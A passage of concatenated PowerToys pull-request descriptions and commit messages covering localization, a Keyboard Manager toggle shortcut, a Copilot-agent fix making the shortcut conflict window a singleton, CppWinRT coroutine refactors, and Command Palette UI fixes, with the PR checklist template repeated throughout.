installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
This PR enables the localization of strings in metadata providers
(section titles and keys) and other unlocalized strings in Clipboard
History built-in extension.
## PR Checklist
- [x] Closes: #42185
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
Adds a keyboard shortcut to be able to toggle the Keyboard Manager
module on and off.
## PR Checklist
- [x] Closes: #4879
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
Modeled the changes and addition of a global shortcut using the Color
Picker module.
Notes:
- This uses `KeyboardManagerSettings` and the associated .json settings
file. I don't think there's anything else in this module that uses this.
- The default key binding for this is `winkey + shift + k`
- I've had to update the `KeyboardManagerViewModel` to extend
`PageViewModelBase` as opposed to `Observable` to get it to work. But I
will say that there were some things in here that I didn't fully dig
into, so let me know if there's any potential things I'm missing.
- I'm not too sure how to update the Settings UI after a hotkey is
pressed (pressing the hotkey currently will not show the module being
toggled off) - can't find a good way to refresh the settings ui after
enabling/disabling the module. Any pointers here would be appreciated!
## Validation Steps Performed
- Manually validated the following items:
- Using the default shortcut (`winkey + shift + k`)
- Changing the shortcut
- Ensuring the change is persistent
## Media
https://github.com/user-attachments/assets/e471b8df-787a-441e-b9e0-330361865c76
---------
Co-authored-by: Weike Qu <weikequ@get-stride.com>
Co-authored-by: Leilei Zhang <leilzh@microsoft.com>
Co-authored-by: vanzue <vanzue@outlook.com>
Co-authored-by: Kai Tao <69313318+vanzue@users.noreply.github.com>
Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
## Summary
Fixes issue where multiple ShortcutConflictWindow instances could be
opened simultaneously. The window now follows the same singleton pattern
as OobeWindow - only one instance can exist at a time, and attempting to
open another brings the existing window to the foreground.
## Changes
Implemented singleton management for `ShortcutConflictWindow` following
the established pattern used by `OobeWindow`:
### App.xaml.cs
- Added static field to store the singleton window instance
- Added `GetShortcutConflictWindow()`, `SetShortcutConflictWindow()`,
and `ClearShortcutConflictWindow()` methods for lifecycle management
### ShortcutConflictWindow.xaml.cs
- Updated `WindowEx_Closed` event handler to call
`App.ClearShortcutConflictWindow()` to properly clean up the singleton
reference when the window is closed
### Updated all three entry points that create ShortcutConflictWindow:
- **ShortcutConflictControl.xaml.cs** (Dashboard conflict warning)
- **ShortcutControl.xaml.cs** (Settings page shortcut controls)
- **OobeOverview.xaml.cs** (OOBE overview page)
Each location now checks if a window already exists using
`App.GetShortcutConflictWindow()`:
- If no window exists, creates a new one and registers it via
`App.SetShortcutConflictWindow()`
- If a window already exists, simply calls `Activate()` to bring it to
the foreground
## Testing
The fix ensures that:
- ✅ Only one ShortcutConflictWindow can be open at a time
- ✅ Clicking the shortcut conflict button when a window is already open
activates the existing window instead of creating a duplicate
- ✅ The window reference is properly cleared when closed, allowing a new
instance to be created in future interactions
Fixes #[issue_number]
> [!WARNING]
>
> <details>
> <summary>Firewall rules blocked me from connecting to one or more
addresses (expand for details)</summary>
>
> #### I tried to connect to the following addresses, but was blocked by
firewall rules:
>
> - `i1qvsblobprodcus353.vsblob.vsassets.io`
> - Triggering command: `dotnet build PowerToys.Settings.csproj
--configuration Release` (dns block)
>
> If you need me to access, download, or install something from one of
these locations, you can either:
>
> - Configure [Actions setup
steps](https://gh.io/copilot/actions-setup-steps) to set up my
environment, which run before the firewall is enabled
> - Add the appropriate URLs or hosts to the custom allowlist in this
repository's [Copilot coding agent
settings](https://github.com/microsoft/PowerToys/settings/copilot/coding_agent)
(admins only)
>
> </details>
<!-- START COPILOT CODING AGENT SUFFIX -->
<details>
<summary>Original prompt</summary>
>
> ----
>
> *This section details on the original issue you should resolve*
>
> <issue_title>[Settings] Single Shortcuts Conflicts
window</issue_title>
> <issue_description>### Microsoft PowerToys version
>
> 0.95.0
>
> ### Installation method
>
> GitHub
>
> ### Area(s) with issue?
>
> Settings
>
> ### Steps to reproduce
>
> Multiple shortcut conflicts window can be launched.
> Should have the same behavior of OOBE window.
> If shortcut conflicts window is already opened, pressing the button
should bring the window in foreground.
>
> ### ✔️ Expected Behavior
>
> Single shortcuts conflicts window
>
> ### ❌ Actual Behavior
>
> Multiple shortcut conflicts window can be launched
>
> ### Additional Information
>
> _No response_
>
> ### Other Software
>
> _No response_</issue_description>
>
> <agent_instructions>Settings ShortcutConflictWindow should have the
same behavior of OobeWindow.
> When ShortcutConflictWindow is already opened, activate that window
instead of opening another one. </agent_instructions>
>
> ## Comments on the Issue (you are @copilot in this section)
>
> <comments>
> </comments>
>
</details>
Fixesmicrosoft/PowerToys#42437
<!-- START COPILOT CODING AGENT TIPS -->
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---------
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: davidegiacometti <25966642+davidegiacometti@users.noreply.github.com>
Co-authored-by: Davide Giacometti <davide.giacometti@outlook.it>
Co-authored-by: Niels Laute <niels.laute@live.nl>
Co-authored-by: vanzue <vanzue@outlook.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
- Removing dead experiments code
- Refactoring and simplifying OOBE/SCOOBE windowing code
- Removing dead assets
- Optimizing CmdPal assets to lower res shaving off a few MBs
- Scrolling works better on the What's new page
- Should be merged after: #44638
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [X] Closes: #44958
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
---------
Co-authored-by: Gordon Lam (SH) <yeelam@microsoft.com>
## Summary of the Pull Request
This PR includes:
- UI improvements to the Mouse Without Borders settings page.
- UI improvements to the AOT settings page.
- Multiple small fixes (e.g. to enable proper disabled states)
- Using GH Copilot CLI to loc strings that were hardcoded.
- Using GH Copilot CLI to remove dead loc strings from `Resources.resw`
(@jay-o-way will appreciated this 😁):
<img width="606" height="245" alt="image"
src="https://github.com/user-attachments/assets/aeab1201-1129-4ac9-a714-ac5ea7a227cc"
/>
## PR Checklist
- [x] Closes: #41688
- [x] Closes: #32869
- [x] Closes: #36200
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
---------
Co-authored-by: Jiří Polášek <me@jiripolasek.com>
- Making the contributor-setup doc a bit easier to digest.
- Removing duplicated information
- Upgrade VS instructions/config files/scripts to VS2026
---------
Co-authored-by: Noraa Junker <noraa.junker@outlook.com>
Co-authored-by: Jeremy Sinclair <4016293+snickler@users.noreply.github.com>
## Summary of the Pull Request
This PR
- Makes the "Browse the Windows registry" text for the Registry
extension command localizable
- Makes the "Manage Windows Services" text for the Windows services
command localizable
- Makes the Windows services filters ("all", "running", "paused",
"stopped") localizable
- Makes the Windows service primary command strings ("Start", "Stop",
"Resume") localizable
- Adds comment to "Open Windows Terminal profiles" resource
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
This PR upgrades the **Microsoft.Windows.CppWinRT** NuGet package from
version **2.0.240111.5** to **2.0.250303.1** across the entire PowerToys
solution.
## Summary of the Pull Request
There are many build warnings now with like "cl : command line warning
D9047: option 'await' has been deprecated and will be re moved in a
future release." after we update to VS2026.
Introduce WinRT coroutine support by replacing `std::future` with
`IAsyncOperation` for asynchronous methods. Adjust output directories
and remove the `/await` option from project files to streamline the
build process. Update methods to utilize `std::expected` and `co_await`,
enhancing the async handling of version checks and downloads.
## PR Checklist
- [ ] Closes: #xxx
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
Refactor async methods to improve performance and compatibility with
WinRT. The changes include modifying the return types of several
functions in the `updating` namespace, specifically
`uninstall_previous_msix_version_async`,
`get_github_version_info_async`, and `download_new_version_async`.
## Validation Steps Performed
Manual testing was conducted to ensure that the new async methods
function correctly and that the application behaves as expected during
version checks and downloads. Automated tests were updated to cover the
new coroutine implementations.
---------
Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
## Summary of the Pull Request
This PR updates the item template selectors for ListView and GridView
and prevents them from modifying the container.
As a flyby, it introduces an enum for the list item type and centralizes
the logic that determines the type to the view model.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #45496
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
maintainers: we talked about this at length on Teams
> Seems like adding `IExtendedAttributesProvider` onto `CommandItem` is
what broke this. I don't know why. I'm not gonna pretend to understand
the cswinrt voodoo that's causing it to pick `IEAP` as the leaf
interface instead of `ICommandContextItem`.
drive by: fix the sample project on ARM
_resurrected from #45329 because spellbot killed that PR_
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
GPO Info bar for clipboard history has to be placed directly after the
setting. The PR moves the bar to the correct place.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #45029
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This PR replaces the GPI control around the report button with an info
bar between diagnostics settings and report button.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #45031
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
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- [ ] [YML for signed
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Add an AutomationProperties.Name to the "More options" button on the
CmdPal Settings Extensions page, improving accessibility for screen
readers. Add localized AutomationProperties.Name ("More options") for
the Settings_ExtensionsPage_More_Button in Resources.resw
This address A11y bug 60946859
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
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- [ ] [YML for signed
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
https://github.com/user-attachments/assets/9cd5f580-bf7d-4dd1-9344-96f6c51c7958
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Adds a new doc (`doc/devdocs/Events.md`) that walks developers through
how to add telemetry events to PowerToys with next steps of reaching out
to Carlos or Jessica.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
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- [ ] [YML for signed
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Pretty direct port of the code, to prove it works.
There's definitely some improvement to be made here, esp WRT to the
network and GPU listing - networks should all just be listed. Or at
least automatically track the active one. And GPU should aggregate a
bunch of stats.
And we can probably add the details to these list items.
But most importantly, _it works_.
re: #45201
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
---------
Co-authored-by: Jiří Polášek <me@jiripolasek.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Foundry Local returns 400 Bad Request if a manual port change made for
foundry local.
Fix#45340
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [X] Closes: #45340
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
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for new test projects
- [ ] [YML for signed
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on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Follow steps described in the issue, and the advanced paste can work
without having to restart powertoys itself
## Summary of the Pull Request
This PR is a follow-up for Icon cache:
- Adds decoding and rasterization limit (by width) to reduce memory
usage and improves throughput (noticeably)
- Fixes timing issue when setting padding for font icons
- Resolves race condition in IconBox caused by incorrect guard
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #45460
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
This PR introduces a new service, ApplicationInfoService, that
encapsulates host app state and infrastructure and moves the logic for
obtaining version information there. It then uses this information to
fix an issue with incorrect version reporting for unpackaged CmdPal in
ErrorReportBuilder.
- Adds ApplicationInfoService.
- Fixes an error in ErrorReportBuilder when the app runs unpackaged.
- Adds logging of the app version and environmental info at startup.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #45368
- [x] Closes: #45370
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
This PR adds two fixes to prevent Command Palette’s main window from
stealing focus while or after it is being hidden.
1) GoBack was not forwarding the withAnimation and focusSearch
parameters when chaining to GoHome.
2) Page focus after load can be triggered too late—when the window is
already hidden—causing CmdPal to regain focus unexpectedly.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #45301
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
